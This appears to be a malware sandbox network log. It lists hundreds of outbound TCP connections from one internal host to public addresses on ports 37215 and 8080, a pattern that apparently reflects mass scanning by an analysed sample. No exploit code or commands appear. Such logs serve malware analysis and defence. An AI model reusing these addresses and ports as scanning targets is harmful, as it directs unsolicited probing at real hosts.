Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.101.255.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.241.9.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.64.123.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.122.80.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.41.234.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.43.243.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.241.169.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.233.83.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.17.151.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.139.207.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.63.31.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.149.82.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.93.245.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.17.67.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.244.238.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.61.56.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.240.87.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.112.198.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.232.80.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.186.74.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.192.225.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.67.130.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.45.130.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.133.191.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.214.223.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.251.60.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.13.120.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.112.192.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.158.52.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.165.238.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.81.57.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.67.91.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.197.184.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.131.14.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.164.255.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.50.61.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.51.195.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.131.178.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.156.52.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.10.53.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.242.77.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.223.83.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.228.205.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.245.77.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.22.235.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.168.4.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.43.128.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.119.241.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.243.208.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.17.5.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.14.9.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.198.206.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.188.17.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.146.23.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.149.130.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.219.145.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.35.141.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.179.145.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.251.91.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.114.111.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.169.197.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.190.149.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.87.158.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.6.146.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.2.72.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.34.14.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.227.248.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.233.172.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.236.138.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.20.171.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.127.190.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.56.56.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.119.83.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.225.117.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.176.91.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.235.226.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.222.43.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.156.191.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.161.208.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.28.88.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.79.26.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.141.102.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.217.123.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.145.179.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.65.58.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.223.11.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.97.246.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.85.215.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.236.2.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.192.105.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.180.24.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.11.16.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.119.40.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.30.83.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.46.196.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.113.159.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.2.104.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.43.155.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.16.131.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.36.29.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.104.131.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.99.158.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.100.123.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.139.71.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.4.161.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.32.191.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.164.147.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.45.167.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.118.252.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.165.158.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.188.253.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.186.40.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.21.202.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.154.192.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.180.240.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.211.25.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.160.252.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.10.26.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.81.144.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.146.26.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.43.1.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.64.83.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.5.194.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.254.204.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.218.15.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.77.220.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.165.247.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.118.85.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.126.7.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.95.233.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.181.189.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.91.152.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.207.66.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.76.184.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.173.244.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:27314 -> 41.124.86.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.59.132.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.168.82.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.118.53.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.247.49.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.39.23.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.46.115.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.72.251.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.212.168.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.84.152.126:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.184.69.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.224.71.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.235.168.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.9.155.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.123.84.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.231.13.167:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.96.191.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.12.222.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.253.28.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.113.108.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.215.2.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.91.151.8:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.128.1.164:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.119.162.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.20.179.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.134.128.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.197.65.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.175.78.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.85.142.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.216.11.167:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.242.38.1:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.29.98.39:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.209.94.222:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.159.99.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.200.152.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.205.147.107:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.112.63.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.232.253.19:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.177.98.51:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.29.205.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.170.230.220:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.224.68.95:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.77.135.176:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.9.228.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.91.239.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.72.26.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.109.196.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.214.185.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.17.207.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.25.141.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.181.66.180:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.40.100.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.109.240.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.9.31.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.74.231.247:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.0.119.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.144.144.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.184.184.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.104.17.69:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.113.101.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.70.138.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.49.76.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.204.205.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.93.13.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.243.97.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.68.195.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.50.15.228:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.28.1.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.100.38.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.50.71.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.186.47.21:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.16.254.143:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.152.40.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.116.84.78:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.93.200.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.19.167.73:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.31.104.118:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.19.126.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.70.187.9:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.74.50.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.18.59.20:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.109.12.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.195.227.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.190.17.29:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.154.37.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.118.184.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.189.72.129:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.142.253.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.134.180.229:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.48.196.40:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.254.42.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.208.26.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.242.29.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.126.6.39:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.27.214.81:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.91.154.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.71.218.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.18.31.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.101.211.21:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.155.229.171:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.75.60.109:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.94.79.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.36.161.68:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.68.221.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.94.210.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.75.132.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.124.56.11:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.103.100.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.24.132.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.58.154.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.168.9.149:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.162.3.29:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.66.223.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.39.81.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.81.85.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.238.247.192:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.104.158.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.157.141.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.220.231.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.133.171.211:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.28.89.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.154.160.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.218.162.248:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.159.23.130:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.157.246.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.194.11.61:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.252.212.176:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.227.255.2:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.31.162.150:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.33.52.66:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.55.178.108:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.61.146.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.88.169.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.169.177.2:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.155.45.111:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.19.125.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.250.240.211:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.127.129.76:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.170.137.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.143.109.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.135.224.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.71.0.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.86.96.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.89.117.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.7.186.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.100.204.76:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.166.123.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.103.141.211:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.26.220.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.147.252.83:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.90.133.33:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.0.246.113:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.33.128.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.207.171.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.217.78.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.214.73.173:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.178.50.229:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.211.235.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.169.217.164:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.166.150.154:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.129.181.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.19.162.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.109.16.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.117.154.237:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.144.238.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.184.152.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.20.21.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.88.229.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.46.167.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.138.56.182:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.5.38.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.70.218.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.220.173.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.9.27.39:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.251.250.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.254.183.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.122.6.87:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.224.230.23:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.135.203.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.164.75.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.46.173.221:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.152.94.138:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.33.53.68:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.16.104.174:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.109.207.150:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.99.103.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.189.146.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.245.50.208:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.254.25.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.152.164.215:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.34.109.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.169.253.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.233.60.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.34.71.167:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.50.32.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.203.62.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.185.93.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.95.57.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.198.21.203:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.119.24.186:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.196.60.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.96.87.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.69.116.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.177.135.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.223.158.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.250.217.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.134.86.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.51.219.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.138.53.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.50.137.88:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.171.13.5:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.205.177.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.181.112.33:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.191.100.87:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.26.159.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.162.251.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.9.89.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.143.6.148:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.6.12.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.196.91.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 95.101.255.33:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 31.90.23.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 62.31.221.11:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.83.255.66:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.107.96.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.172.59.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 94.83.142.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.7.147.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.158.35.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:26802 -> 85.7.64.113:8080
